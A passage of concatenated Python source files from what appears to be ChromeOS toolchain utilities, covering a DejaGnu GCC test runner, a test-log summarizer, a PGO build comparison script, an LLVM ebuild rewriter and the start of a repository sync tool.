flags, keep_intermediate_files, tools, cleanup): self._l = logger.GetLogger() self._chromeos_root = chromeos_root self._chromeos_chroot = path.join(chromeos_root, 'chroot') if mount: self._gcc_source_dir_to_mount = mount self._gcc_source_dir = path.join(constants.MOUNTED_TOOLCHAIN_ROOT, 'gcc') else: self._gcc_source_dir = None self._remote = remote self._board = board ## Compute target from board self._target = misc.GetCtargetFromBoard(board, chromeos_root) if not self._target: raise ValueError('Unsupported board "%s"' % board) self._executer = command_executer.GetCommandExecuter() self._flags = flags or '' self._base_dir = base_dir self._tmp_abs = None self._keep_intermediate_files = keep_intermediate_files self._tools = tools.split(',') self._cleanup = cleanup def SetupTestingDir(self): self._tmp_abs = tempfile.mkdtemp( prefix='dejagnu_', dir=path.join(self._chromeos_chroot, 'tmp')) self._tmp = self._tmp_abs[len(self._chromeos_chroot):] self._tmp_testing_rsa = path.join(self._tmp, 'testing_rsa') self._tmp_testing_rsa_abs = path.join(self._tmp_abs, 'testing_rsa') def MakeCheckString(self): return ' '.join(['check-{0}'.format(t) for t in self._tools if t]) def CleanupIntermediateFiles(self): if self._tmp_abs and path.isdir(self._tmp_abs): if self._keep_intermediate_files: self._l.LogOutput( 'Your intermediate dejagnu files are kept, you can re-run ' 'inside chroot the command:') self._l.LogOutput( ' DEJAGNU={0} make -C {1} {2} RUNTESTFLAGS="--target_board={3} {4}"' \ .format(path.join(self._tmp, 'site.exp'), self._gcc_build_dir, self.MakeCheckString(), self._board, self._flags)) else: self._l.LogOutput('[Cleanup] - Removing temp dir - {0}'.format( self._tmp_abs)) shutil.rmtree(self._tmp_abs) def Cleanup(self): if not self._cleanup: return # Optionally cleanup mounted diretory, chroot and chromeos tree. if self._cleanup == 'mount' or self._cleanup == 'chroot' or \ self._cleanup == 'chromeos': # No exceptions are allowed from this method. try: self._l.LogOutput('[Cleanup] - Unmounting directories ...') self.MountGccSourceAndBuildDir(unmount=True) except: print 'Warning: failed to unmount gcc source/build directory.' if self._cleanup == 'chroot' or self._cleanup == 'chromeos': self._l.LogOutput('[Cleanup]: Deleting chroot inside \'{0}\''.format( self._chromeos_root)) command = 'cd %s; cros_sdk --delete' % self._chromeos_root rv = self._executer.RunCommand(command) if rv: self._l.LogWarning('Warning - failed to delete chroot.') # Delete .cache - crosbug.com/34956 command = 'sudo rm -fr %s' % os.path.join(self._chromeos_root, '.cache') rv = self._executer.RunCommand(command) if rv: self._l.LogWarning('Warning - failed to delete \'.cache\'.') if self._cleanup == 'chromeos': self._l.LogOutput('[Cleanup]: Deleting chromeos tree \'{0}\' ...'.format( self._chromeos_root)) command = 'rm -fr {0}'.format(self._chromeos_root) rv = self._executer.RunCommand(command) if rv: self._l.LogWarning('Warning - failed to remove chromeos tree.') def PrepareTestingRsaKeys(self): if not path.isfile(self._tmp_testing_rsa_abs): shutil.copy( path.join(self._chromeos_root, 'src/scripts/mod_for_test_scripts/ssh_keys/testing_rsa'), self._tmp_testing_rsa_abs) os.chmod(self._tmp_testing_rsa_abs, stat.S_IRUSR) def PrepareTestFiles(self): """Prepare site.exp and board exp files.""" # Create the boards directory. os.mkdir('%s/boards' % self._tmp_abs) # Generate the chromeos.exp file. with open('%s/chromeos.exp.in' % self._base_dir, 'r') as template_file: content = template_file.read() substitutions = dict({ '__boardname__': self._board, '__board_hostname__': self._remote, '__tmp_testing_rsa__': self._tmp_testing_rsa, '__tmp_dir__': self._tmp }) for pat, sub in substitutions.items(): content = content.replace(pat, sub) board_file_name = '%s/boards/%s.exp' % (self._tmp_abs, self._board) with open(board_file_name, 'w') as board_file: board_file.write(content) # Generate the site file with open('%s/site.exp' % self._tmp_abs, 'w') as site_file: site_file.write('set target_list "%s"\n' % self._board) def PrepareGcc(self): if self._gcc_source_dir: self.PrepareGccFromCustomizedPath() else: self.PrepareGccDefault() self._l.LogOutput('Gcc source dir - {0}'.format(self._gcc_source_dir)) self._l.LogOutput('Gcc build dir - {0}'.format(self._gcc_top_build_dir)) def PrepareGccFromCustomizedPath(self): """Prepare gcc source, build directory from mounted source.""" # We have these source directories - # _gcc_source_dir # e.g. '/usr/local/toolchain_root/gcc' # _gcc_source_dir_abs # e.g. '/somewhere/chromeos.live/chroot/usr/local/toolchain_root/gcc' # _gcc_source_dir_to_mount # e.g. '/somewhere/gcc' self._gcc_source_dir_abs = path.join(self._chromeos_chroot, self._gcc_source_dir.lstrip('/')) if not path.isdir(self._gcc_source_dir_abs) and \ self._executer.RunCommand( 'sudo mkdir -p {0}'.format(self._gcc_source_dir_abs)): raise RuntimeError("Failed to create \'{0}\' inside chroot.".format( self._gcc_source_dir)) if not (path.isdir(self._gcc_source_dir_to_mount) and path.isdir(path.join(self._gcc_source_dir_to_mount, 'gcc'))): raise RuntimeError('{0} is not a valid gcc source tree.'.format( self._gcc_source_dir_to_mount)) # We have these build directories - # _gcc_top_build_dir # e.g. '/usr/local/toolchain_root/gcc-build-x86_64-cros-linux-gnu' # _gcc_top_build_dir_abs # e.g. '/somewhere/chromeos.live/chroo/tusr/local/toolchain_root/ # gcc-build-x86_64-cros-linux-gnu' # _gcc_build_dir # e.g. '/usr/local/toolchain_root/gcc-build-x86_64-cros-linux-gnu/gcc' # _gcc_build_dir_to_mount # e.g. '/somewhere/gcc-build-x86_64-cros-linux-gnu' self._gcc_top_build_dir = '{0}-build-{1}'.format( self._gcc_source_dir.rstrip('/'), self._target) self._gcc_build_dir = path.join(self._gcc_top_build_dir, 'gcc') self._gcc_build_dir_to_mount = '{0}-build-{1}'.format( self._gcc_source_dir_to_mount, self._target) self._gcc_top_build_dir_abs = path.join(self._chromeos_chroot, self._gcc_top_build_dir.lstrip('/')) if not path.isdir(self._gcc_top_build_dir_abs) and \ self._executer.RunCommand( 'sudo mkdir -p {0}'.format(self._gcc_top_build_dir_abs)): raise RuntimeError('Failed to create \'{0}\' inside chroot.'.format( self._gcc_top_build_dir)) if not (path.isdir(self._gcc_build_dir_to_mount) and path.join( self._gcc_build_dir_to_mount, 'gcc')): raise RuntimeError('{0} is not a valid gcc build tree.'.format( self._gcc_build_dir_to_mount)) # All check passed. Now mount gcc source and build directories. self.MountGccSourceAndBuildDir() def PrepareGccDefault(self): """Auto emerging gcc for building purpose only.""" ret = self._executer.ChrootRunCommandWOutput( self._chromeos_root, 'equery w cross-%s/gcc' % self._target)[1] ret = path.basename(ret.strip()) # ret is expected to be something like 'gcc-4.6.2-r11.ebuild' or # 'gcc-9999.ebuild' parse it. matcher = re.match('((.*)-r\d+).ebuild', ret) if matcher: gccrevision, gccversion = matcher.group(1, 2) elif ret == 'gcc-9999.ebuild': gccrevision = 'gcc-9999' gccversion = 'gcc-9999' else: raise RuntimeError('Failed to get gcc version.') gcc_portage_dir = '/var/tmp/portage/cross-%s/%s/work' % (self._target, gccrevision) self._gcc_source_dir = path.join(gcc_portage_dir, gccversion) self._gcc_top_build_dir = (gcc_portage_dir + '/%s-build-%s') % ( gccversion, self._target) self._gcc_build_dir = path.join(self._gcc_top_build_dir, 'gcc') gcc_build_dir_abs = path.join(self._chromeos_root, 'chroot', self._gcc_build_dir.lstrip('/')) if not path.isdir(gcc_build_dir_abs): ret = self._executer.ChrootRunCommand(self._chromeos_root, ( 'ebuild $(equery w cross-%s/gcc) clean prepare compile' % ( self._target))) if ret: raise RuntimeError('ebuild gcc failed.') def MakeCheck(self): self.MountGccSourceAndBuildDir() cmd = ('cd %s ; ' 'DEJAGNU=%s make %s RUNTESTFLAGS="--target_board=%s %s"' % (self._gcc_build_dir, path.join(self._tmp, 'site.exp'), self.MakeCheckString(), self._board, self._flags)) self._executer.ChrootRunCommand(self._chromeos_root, cmd) def ValidateFailures(self): validate_failures_py = path.join( self._gcc_source_dir, 'contrib/testsuite-management/validate_failures.py') cmd = 'cd {0} ; {1} --build_dir={0}'.format(self._gcc_top_build_dir, validate_failures_py) self.MountGccSourceAndBuildDir() ret = self._executer.ChrootRunCommandWOutput(self._chromeos_root, cmd) if ret[0] != 0: self._l.LogWarning('*** validate_failures.py exited with non-zero code,' 'please run it manually inside chroot - \n' ' ' + cmd) return ret # This method ensures necessary mount points before executing chroot comamnd. def MountGccSourceAndBuildDir(self, unmount=False): mount_points = [tc_enter_chroot.MountPoint(self._gcc_source_dir_to_mount, self._gcc_source_dir_abs, getpass.getuser(), 'ro'), tc_enter_chroot.MountPoint(self._gcc_build_dir_to_mount, self._gcc_top_build_dir_abs, getpass.getuser(), 'rw')] for mp in mount_points: if unmount: if mp.UnMount(): raise RuntimeError('Failed to unmount {0}'.format(mp.mount_dir)) else: self._l.LogOutput('{0} unmounted successfully.'.format(mp.mount_dir)) elif mp.DoMount(): raise RuntimeError( 'Failed to mount {0} onto {1}'.format(mp.external_dir, mp.mount_dir)) else: self._l.LogOutput('{0} mounted successfully.'.format(mp.mount_dir)) # The end of class DejagnuExecuter def TryAcquireMachine(remotes): available_machine = None for r in remotes.split(','): machine = lock_machine.Machine(r) if machine.TryLock(timeout=300, exclusive=True): available_machine = machine break else: logger.GetLogger().LogWarning( '*** Failed to lock machine \'{0}\'.'.format(r)) if not available_machine: raise RuntimeError("Failed to acquire one machine from \'{0}\'.".format( remotes)) return available_machine def Main(argv): opts = ProcessArguments(argv) available_machine = TryAcquireMachine(opts.remote) executer = DejagnuExecuter( misc.GetRoot(argv[0])[0], opts.mount, opts.chromeos_root, available_machine._name, opts.board, opts.flags, opts.keep_intermediate_files, opts.tools, opts.cleanup) # Return value is a 3- or 4-element tuple # element#1 - exit code # element#2 - stdout # element#3 - stderr # element#4 - exception infor # Some other scripts need these detailed information. ret = (1, '', '') try: executer.SetupTestingDir() executer.PrepareTestingRsaKeys() executer.PrepareTestFiles() executer.PrepareGcc() executer.MakeCheck() ret = executer.ValidateFailures() except Exception as e: # At least log the exception on console. print e # The #4 element encodes the runtime exception. ret = (1, '', '', 'Exception happened during execution: \n' + str(e)) finally: available_machine.Unlock(exclusive=True) executer.CleanupIntermediateFiles() executer.Cleanup() return ret if __name__ == '__main__': retval = Main(sys.argv)[0] sys.exit(retval) ``` #### File: android_external_toolchain-utils/deprecated/summarize_results.py ```python from __future__ import print_function __author__ = '<EMAIL> (<NAME>)' from cros_utils import command_executer import os import sys import re RESULTS_DIR = 'results' RESULTS_FILE = RESULTS_DIR + '/results.csv' # pylint: disable=anomalous-backslash-in-string class DejaGNUSummarizer(object): """DejaGNU Summarizer Class""" def __int__(self): pass def Matches(self, log_file): for log_line in log_file: if log_line.find("""tests ===""") > -1: return True return False def Summarize(self, log_file, filename): result = '' pass_statuses = ['PASS', 'XPASS'] fail_statuses = ['FAIL', 'XFAIL', 'UNSUPPORTED'] name_count = {} for line in log_file: line = line.strip().split(':') if len(line) > 1 and (line[0] in pass_statuses or line[0] in fail_statuses): test_name = (':'.join(line[1:])).replace('\t', ' ').strip() count = name_count.get(test_name, 0) + 1 name_count[test_name] = count test_name = '%s (%s)' % (test_name, str(count)) if line[0] in pass_statuses: test_result = 'pass' else: test_result = 'fail' result += '%s\t%s\t%s\n' % (test_name, test_result, filename) return result class PerflabSummarizer(object): """Perflab Summarizer class""" def __init__(self): pass def Matches(self, log_file): p = re.compile('METRIC isolated \w+') for log_line in log_file: if p.search(log_line): return True return False def Summarize(self, log_file, filename): result = '' p = re.compile("METRIC isolated (\w+) .*\['(.*?)'\]") log_file_lines = '\n'.join(log_file) matches = p.findall(log_file_lines) for match in matches: if len(match) != 2: continue result += '%s\t%s\t%s\n' % (match[0], match[1], filename) return result class AutoTestSummarizer(object): """AutoTest Summarizer class""" def __init__(self): pass def Matches(self, log_file): for log_line in log_file: if log_line.find("""Installing autotest on""") > -1: return True return False def Summarize(self, log_file, filename): result = '' pass_statuses = ['PASS'] fail_statuses = ['FAIL'] for line in log_file: line = line.strip().split(' ') if len(line) > 1 and (line[-1].strip() in pass_statuses or line[-1].strip() in fail_statuses): test_name = (line[0].strip()) if line[-1].strip() in pass_statuses: test_result = 'pass' else: test_result = 'fail' result += '%s\t%s\t%s\n' % (test_name, test_result, filename) return result def Usage(): print('Usage: %s log_file' % sys.argv[0]) sys.exit(1) def SummarizeFile(filename): summarizers = [DejaGNUSummarizer(), AutoTestSummarizer(), PerflabSummarizer()] inp = open(filename, 'rb') executer = command_executer.GetCommandExecuter() for summarizer in summarizers: inp.seek(0) if summarizer.Matches(inp): executer.CopyFiles(filename, RESULTS_DIR, recursive=False) inp.seek(0) result = summarizer.Summarize(inp, os.path.basename(filename)) inp.close() return result inp.close() return None def Main(argv): if len(argv) != 2: Usage() filename = argv[1] executer = command_executer.GetCommandExecuter() executer.RunCommand('mkdir -p %s' % RESULTS_DIR) summary = SummarizeFile(filename) if summary is not None: output = open(RESULTS_FILE, 'a') output.write(summary.strip() + '\n') output.close() return 0 if __name__ == '__main__': retval = Main(sys.argv) sys.exit(retval) ``` #### File: android_external_toolchain-utils/fdo_scripts/vanilla_vs_fdo.py ```python import getpass import optparse import os import sys import image_chromeos import setup_chromeos from cros_utils import command_executer from cros_utils import misc from cros_utils import logger class Patcher(object): def __init__(self, dir_to_patch, patch_file): self._dir_to_patch = dir_to_patch self._patch_file = patch_file self._base_patch_command = 'patch -p0 %%s < %s' % patch_file self._ce = command_executer.GetCommandExecuter() def _RunPatchCommand(self, args): patch_command = self._base_patch_command % args command = ('cd %s && %s' % (self._dir_to_patch, patch_command)) return self._ce.RunCommand(command) def _ApplyPatch(self, args): full_args = '%s --dry-run' % args ret = self._RunPatchCommand(full_args) if ret: raise RuntimeError('Patch dry run failed!') ret = self._RunPatchCommand(args) if ret: raise RuntimeError('Patch application failed!') def __enter__(self): self._ApplyPatch('') def __exit__(self, type, value, traceback): self._ApplyPatch('-R') class FDOComparator(object): def __init__(self, board, remotes, ebuild_version, plus_pgo, minus_pgo, update_pgo, chromeos_root): self._board = board self._remotes = remotes self._ebuild_version = ebuild_version self._remote = remotes.split(',')[0] self._chromeos_root = chromeos_root self._profile_dir = 'profile_dir' self._profile_path = os.path.join(self._chromeos_root, 'src', 'scripts', os.path.basename(self._profile_dir)) self._plus_pgo = plus_pgo self._minus_pgo = minus_pgo self._update_pgo = update_pgo self._ce = command_executer.GetCommandExecuter() self._l = logger.GetLogger() def _CheckoutChromeOS(self): if not os.path.exists(self._chromeos_root): setup_chromeos_args = [setup_chromeos.__file__, '--dir=%s' % self._chromeos_root, '--minilayout'] setup_chromeos.Main(setup_chromeos_args) def _BuildChromeOSUsingBinaries(self): image_dir = misc.GetImageDir(self._chromeos_root, self._board) command = 'equery-%s l chromeos' % self._board ret = self._ce.ChrootRunCommand(self._chromeos_root, command) if ret: command = misc.GetSetupBoardCommand(self._board, usepkg=True) ret = self._ce.ChrootRunCommand(self._chromeos_root, command) if ret: raise RuntimeError("Couldn't run setup_board!") command = misc.GetBuildPackagesCommand(self._board, True) ret = self._ce.ChrootRunCommand(self._chromeos_root, command) if ret: raise RuntimeError("Couldn't run build_packages!") def _ReportMismatches(self, build_log): mismatch_signature = '-Wcoverage-mismatch' mismatches = build_log.count(mismatch_signature) self._l.LogOutput('Total mismatches: %s' % mismatches) stale_files = set([]) for line in build_log.splitlines(): if mismatch_signature in line: filename = line.split(':')[0] stale_files.add(filename) self._l.LogOutput('Total stale files: %s' % len(stale_files)) def _BuildChromeAndImage(self, ebuild_version='', env_dict={}, cflags='', cxxflags='', ldflags='', label='', build_image_args=''): env_string = misc.GetEnvStringFromDict(env_dict) if not label: label = ' '.join([env_string, cflags, cxxflags, ldflags, ebuild_version]) label = label.strip() label = misc.GetFilenameFromString(label) if not misc.DoesLabelExist(self._chromeos_root, self._board, label): build_chrome_browser_args = ['--clean', '--chromeos_root=%s' % self._chromeos_root, '--board=%s' % self._board, '--env=%r' % env_string, '--cflags=%r' % cflags, '--cxxflags=%r' % cxxflags, '--ldflags=%r' % ldflags, '--ebuild_version=%s' % ebuild_version, '--build_image_args=%s' % build_image_args] build_chrome_browser = os.path.join( os.path.dirname(__file__), '..', 'build_chrome_browser.py') command = 'python %s %s' % (build_chrome_browser, ' '.join(build_chrome_browser_args)) ret, out, err = self._ce.RunCommandWOutput(command) if '-fprofile-use' in cxxflags: self._ReportMismatches(out) if ret: raise RuntimeError("Couldn't build chrome browser!") misc.LabelLatestImage(self._chromeos_root, self._board, label) return label def _TestLabels(self, labels): experiment_file = 'pgo_experiment.txt' experiment_header = """ board: %s remote: %s """ % (self._board, self._remotes) experiment_tests = """ benchmark: desktopui_PyAutoPerfTests { iterations: 1 } """ with open(experiment_file, 'w') as f: print >> f, experiment_header print >> f, experiment_tests for label in labels: # TODO(asharif): Fix crosperf so it accepts labels with symbols crosperf_label = label crosperf_label = crosperf_label.replace('-', 'minus') crosperf_label = crosperf_label.replace('+', 'plus') experiment_image = """ %s { chromeos_image: %s } """ % (crosperf_label, os.path.join( misc.GetImageDir(self._chromeos_root, self._board), label, 'chromiumos_test_image.bin')) print >> f, experiment_image crosperf = os.path.join( os.path.dirname(__file__), '..', 'crosperf', 'crosperf') command = '%s %s' % (crosperf, experiment_file) ret = self._ce.RunCommand(command) if ret: raise RuntimeError("Couldn't run crosperf!") def _ImageRemote(self, label): image_path = os.path.join( misc.GetImageDir(self._chromeos_root, self._board), label, 'chromiumos_test_image.bin') image_chromeos_args = [image_chromeos.__file__, '--chromeos_root=%s' % self._chromeos_root, '--image=%s' % image_path, '--remote=%s' % self._remote, '--board=%s' % self._board] image_chromeos.Main(image_chromeos_args) def _ProfileRemote(self): profile_cycler = os.path.join( os.path.dirname(__file__), 'profile_cycler.py') profile_cycler_args = ['--chromeos_root=%s' % self._chromeos_root, '--cycler=all', '--board=%s' % self._board, '--profile_dir=%s' % self._profile_path, '--remote=%s' % self._remote] command = 'python %s %s' % (profile_cycler, ' '.join(profile_cycler_args)) ret = self._ce.RunCommand(command) if ret: raise RuntimeError("Couldn't profile cycler!") def _BuildGenerateImage(self): # TODO(asharif): add cflags as well. labels_list = ['fprofile-generate', self._ebuild_version] label = '_'.join(labels_list) generate_label = self._BuildChromeAndImage( env_dict={'USE': 'chrome_internal -pgo pgo_generate'}, label=label, ebuild_version=self._ebuild_version, build_image_args='--rootfs_boost_size=400') return generate_label def _BuildUseImage(self): ctarget = misc.GetCtargetFromBoard(self._board, self._chromeos_root) chroot_profile_dir = os.path.join('/home/%s/trunk' % getpass.getuser(), 'src', 'scripts', self._profile_dir, ctarget) cflags = ('-fprofile-use ' '-fprofile-correction ' '-Wno-error ' '-fdump-tree-optimized-blocks-lineno ' '-fdump-ipa-profile-blocks-lineno ' '-fno-vpt ' '-fprofile-dir=%s' % chroot_profile_dir) labels_list = ['updated_pgo', self._ebuild_version] label = '_'.join(labels_list) pgo_use_label = self._BuildChromeAndImage( env_dict={'USE': 'chrome_internal -pgo'}, cflags=cflags, cxxflags=cflags, ldflags=cflags, label=label, ebuild_version=self._ebuild_version) return pgo_use_label def DoAll(self): self._CheckoutChromeOS() self._BuildChromeOSUsingBinaries() labels = [] if self._minus_pgo: minus_pgo = self._BuildChromeAndImage( env_dict={'USE': 'chrome_internal -pgo'}, ebuild_version=self._ebuild_version) labels.append(minus_pgo) if self._plus_pgo: plus_pgo = self._BuildChromeAndImage( env_dict={'USE': 'chrome_internal pgo'}, ebuild_version=self._ebuild_version) labels.append(plus_pgo) if self._update_pgo: if not os.path.exists(self._profile_path): # Build Chrome with -fprofile-generate generate_label = self._BuildGenerateImage() # Image to the remote box. self._ImageRemote(generate_label) # Profile it using all page cyclers. self._ProfileRemote() # Use the profile directory to rebuild it. updated_pgo_label = self._BuildUseImage() labels.append(updated_pgo_label) # Run crosperf on all images now. self._TestLabels(labels) return 0 def Main(argv): """The main function.""" # Common initializations ### command_executer.InitCommandExecuter(True) command_executer.InitCommandExecuter() parser = optparse.OptionParser() parser.add_option('--remote', dest='remote', help='Remote machines to run tests on.') parser.add_option('--board', dest='board', default='x86-zgb', help='The target board.') parser.add_option('--ebuild_version', dest='ebuild_version', default='', help='The Chrome ebuild version to use.') parser.add_option('--plus_pgo', dest='plus_pgo', action='store_true', default=False, help='Build USE=+pgo.') parser.add_option('--minus_pgo', dest='minus_pgo', action='store_true', default=False, help='Build USE=-pgo.') parser.add_option('--update_pgo', dest='update_pgo', action='store_true', default=False, help='Update pgo and build Chrome with the update.') parser.add_option('--chromeos_root', dest='chromeos_root', default=False, help='The chromeos root directory') options, _ = parser.parse_args(argv) if not options.board: print 'Please give a board.' return 1 if not options.remote: print 'Please give at least one remote machine.' return 1 if not options.chromeos_root: print 'Please provide the chromeos root directory.' return 1 if not any((options.minus_pgo, options.plus_pgo, options.update_pgo)): print 'Please provide at least one build option.' return 1 fc = FDOComparator(options.board, options.remote, options.ebuild_version, options.plus_pgo, options.minus_pgo, options.update_pgo, os.path.expanduser(options.chromeos_root)) return fc.DoAll() if __name__ == '__main__': retval = Main(sys.argv) sys.exit(retval) ``` #### File: android_external_toolchain-utils/llvm_extra/create_ebuild_file.py ```python from __future__ import print_function import os import sys # This script takes an existing host llvm compiler ebuild and # creates another build that should be installable in a prefixed location. # The script patches a few lines in the llvm ebuild to make that happen. # # Since the script is based on the current llvm ebuild patterns, # it may need to be updated if those patterns change. # # This script should normally be invoked by the shell script # create_llvm_extra.sh . """ Below is an example of the expected diff of the newly generated ebuild with some explanation of the diffs. diff -Nuar llvm-pre7.0_pre335547_p20180529.ebuild newly-created-file.ebuild --- llvm-7.0_pre331547_p20180529-r8.ebuild +++ newly-created-file.ebuild @@ -60,9 +60,9 @@ EGIT_REPO_URIS=( fi LICENSE="UoI-NCSA" -SLOT="0/${PV%%_*}" +SLOT="${PV%%_p[[:digit:]]*}" # Creates a unique slot so that multiple copies of the new build can be installed. KEYWORDS="-* amd64" # Change USE flags to match llvm ebuild installtion. To see the set of flags enabled in llvm compiler ebuild, run $ sudo emerge -pv llvm -IUSE="debug +default-compiler-rt +default-libcxx doc libedit +libffi multitarget +IUSE="debug +default-compiler-rt +default-libcxx doc libedit +libffi +multitarget ncurses ocaml python llvm-next llvm-tot test xml video_cards_radeon" COMMON_DEPEND=" @@ -145,6 +145,7 @@ pkg_pretend() { } pkg_setup() { # This Change is to install the files in $PREFIX. + export PREFIX="/usr/${PN}/${SLOT}" pkg_pretend } @@ -272,13 +273,13 @@ sed -e "/RUN/s/-warn-error A//" -i test/Bindings/OCaml/*ml || die # Allow custom cmake build types (like 'Gentoo') # Convert use of PN to llvm in epatch commands. - epatch "${FILESDIR}"/cmake/${PN}-3.8-allow_custom_cmake_build_types.patch + epatch "${FILESDIR}"/cmake/llvm-3.8-allow_custom_cmake_build_types.patch # crbug/591436 epatch "${FILESDIR}"/clang-executable-detection.patch # crbug/606391 - epatch "${FILESDIR}"/${PN}-3.8-invocation.patch + epatch "${FILESDIR}"/llvm-3.8-invocation.patch @@ -411,11 +412,14 @@ src_install() { /usr/include/llvm/Config/llvm-config.h ) + MULTILIB_CHOST_TOOLS=() # No need to install any multilib tools/headers. + MULTILIB_WRAPPED_HEADERS=() multilib-minimal_src_install } multilib_src_install() { cmake-utils_src_install + return # No need to install any wrappers. local wrapper_script=clang_host_wrapper cat "${FILESDIR}/clang_host_wrapper.header" \ @@ -434,6 +438,7 @@ multilib_src_install() { } multilib_src_install_all() { + return # No need to install common multilib files. insinto /usr/share/vim/vimfiles doins -r utils/vim/*/. # some users may find it useful """ def process_line(line, text): # Process the line and append to the text we want to generate. # Check if line has any patterns that we want to handle. newline = line.strip() if newline.startswith('#'): # Do not process comment lines. text.append(line) elif line.startswith('SLOT='): # Change SLOT to "${PV%%_p[[:digit:]]*}" SLOT_STRING='SLOT="${PV%%_p[[:digit:]]*}"\n' text.append(SLOT_STRING) elif line.startswith('IUSE') and 'multitarget' in line: # Enable multitarget USE flag. newline = line.replace('multitarget', '+multitarget') text.append(newline) elif line.startswith('pkg_setup()'): # Setup PREFIX. text.append(line) text.append('\texport PREFIX="/usr/${PN}/${SLOT}"\n') elif line.startswith('multilib_src_install_all()'): text.append(line) # Do not install any common files. text.append('\treturn\n') elif 'epatch ' in line: # Convert any $PN or ${PN} in epatch files to llvm. newline = line.replace('$PN', 'llvm') newline = newline.replace('${PN}', 'llvm') text.append(newline) elif 'multilib-minimal_src_install' in line: # Disable MULTILIB_CHOST_TOOLS and MULTILIB_WRAPPED_HEADERS text.append('\tMULTILIB_CHOST_TOOLS=()\n') text.append('\tMULTILIB_WRAPPED_HEADERS=()\n') text.append(line) elif 'cmake-utils_src_install' in line: text.append(line) # Do not install any wrappers. text.append('\treturn\n') else: text.append(line) def main(): if len(sys.argv) != 3: filename = os.path.basename(__file__) print ('Usage: ', filename,' <input.ebuild> <output.ebuild>') return 1 text = [] with open(sys.argv[1], 'r') as infile: for line in infile: process_line(line, text) with open(sys.argv[2], 'w') as outfile: outfile.write("".join(text)) return 0 if __name__== "__main__": sys.exit(main()) ``` #### File: jingpad-bsp/android_external_toolchain-utils/repo_to_repo.py ```python from __future__ import print_function __author__ = '<EMAIL> (<NAME>)' import argparse import datetime import json import os import re import socket import sys import tempfile from automation.clients.helper import perforce from cros_utils import command_executer from cros_utils import logger from cros_utils import misc # pylint: disable=anomalous-backslash-in-string def GetCanonicalMappings(mappings): canonical_mappings = [] for mapping in mappings: remote_path, local_path = mapping.split() if local_path.endswith('/') and not remote_path.endswith('/'): local_path = os.path.join(local_path, os.path.basename(remote_path)) remote_path = remote_path.lstrip('/').split('/', 1)[1] canonical_mappings.append(perforce.PathMapping(remote_path, local_path)) return canonical_mappings def SplitMapping(mapping): parts = mapping.split() assert len(parts) <= 2, 'Mapping %s invalid' % mapping remote_path = parts[0] if len(parts) == 2: local_path = parts[1] else: local_path = '.' return remote_path, local_path class Repo(object): """Basic repository base class.""" def __init__(self, no_create_tmp_dir=False): self.repo_type = None self.address = None self.mappings = None self.revision = None self.ignores = ['.gitignore', '.p4config', 'README.google'] if no_create_tmp_dir: self._root_dir = None else: self._root_dir = tempfile.mkdtemp() self._ce = command_executer.GetCommandExecuter() self._logger = logger.GetLogger() def PullSources(self): """Pull all sources into an internal dir.""" pass def SetupForPush(self): """Setup a repository for pushing later.""" pass def PushSources(self, commit_message=None, dry_run=False, message_file=None): """Push to the external repo with the commit message.""" pass def _RsyncExcludingRepoDirs(self, source_dir, dest_dir): for f in os.listdir(source_dir): if f in ['.git', '.svn', '.p4config']: continue dest_file = os.path.join(dest_dir, f) source_file = os.path.join(source_dir, f) if os.path.exists(dest_file): command = 'rm -rf %s' % dest_file self._ce.RunCommand(command) command = 'rsync -a %s %s' % (source_file, dest_dir) self._ce.RunCommand(command) return 0 def MapSources(self, dest_dir): """Copy sources from the internal dir to root_dir.""" return self._RsyncExcludingRepoDirs(self._root_dir, dest_dir) def GetRoot(self): return self._root_dir def SetRoot(self, directory): self._root_dir = directory def CleanupRoot(self): command = 'rm -rf %s' % self._root_dir return self._ce.RunCommand(command) def __str__(self): return '\n'.join( str(s) for s in [self.repo_type, self.address, self.mappings]) # Note - this type of repo is used only for "readonly", in other words, this # only serves as a incoming repo. class FileRepo(Repo): """Class for file repositories.""" def __init__(self, address, ignores=None): Repo.__init__(self, no_create_tmp_dir=True) self.repo_type = 'file' self.address = address self.mappings = None self.branch = None self.revision = '{0} (as of "{1}")'.format(address, datetime.datetime.now()) self.gerrit = None self._root_dir = self.address if ignores: self.ignores += ignores def CleanupRoot(self): """Override to prevent deletion.""" pass class P4Repo(Repo): """Class for P4 repositories.""" def __init__(self, address, mappings, revision=None): Repo.__init__(self) self.repo_type = 'p4' self.address = address self.mappings = mappings self.revision = revision def PullSources(self): client_name = socket.gethostname() client_name += tempfile.mkstemp()[1].replace('/', '-') mappings = self.mappings p4view = perforce.View('depot2', GetCanonicalMappings(mappings)) p4client = perforce.CommandsFactory( self._root_dir, p4view, name=client_name) command = p4client.SetupAndDo(p4client.Sync(self.revision)) ret = self._ce.RunCommand(command) assert ret == 0, 'Could not setup client.' command = p4client.InCheckoutDir(p4client.SaveCurrentCLNumber()) ret, o, _ = self._ce.RunCommandWOutput(command) assert ret == 0, 'Could not get version from client.' self.revision = re.search('^\d+$', o.strip(), re.MULTILINE).group(0) command = p4client.InCheckoutDir(p4client.Remove()) ret = self._ce.RunCommand(command) assert ret == 0, 'Could not delete client.' return 0 class SvnRepo(Repo): """Class for svn repositories.""" def __init__(self, address, mappings): Repo.__init__(self) self.repo_type = 'svn' self.address = address self.mappings = mappings def PullSources(self): with misc.WorkingDirectory(self._root_dir): for mapping in self.mappings: remote_path, local_path = SplitMapping(mapping) command = 'svn co %s/%s %s' % (self.address, remote_path, local_path) ret = self._ce.RunCommand(command) if ret: return ret self.revision = '' for mapping in self.mappings: remote_path, local_path = SplitMapping(mapping) command = 'cd %s && svnversion -c .' % (local_path) ret, o, _ = self._ce.RunCommandWOutput(command) self.revision += o.strip().split(':')[-1] if ret: return ret return 0 class GitRepo(Repo): """Class for git repositories.""" def __init__(self, address, branch, mappings=None, ignores=None, gerrit=None): Repo.__init__(self) self.repo_type = 'git' self.address = address self.branch = branch or 'master' if ignores: self.ignores += ignores self.mappings = mappings self.gerrit = gerrit def _CloneSources(self): with misc.WorkingDirectory(self._root_dir): command = 'git clone %s .' % (self.address) return self._ce.RunCommand(command) def PullSources(self): with misc.WorkingDirectory(self._root_dir): ret = self._CloneSources() if ret: return ret command = 'git checkout %s' % self.branch ret = self._ce.RunCommand(command) if ret: return ret command = 'git describe --always' ret, o, _ = self._ce.RunCommandWOutput(command) self.revision = o.strip() return ret def SetupForPush(self): with misc.WorkingDirectory(self._root_dir): ret = self._CloneSources() logger.GetLogger().LogFatalIf( ret, 'Could not clone git repo %s.' % self.address) command = 'git branch -a | grep -wq %s' % self.branch ret = self._ce.RunCommand(command) if ret == 0: if self.branch != 'master': command = ('git branch --track %s remotes/origin/%s' % (self.branch, self.branch)) else: command = 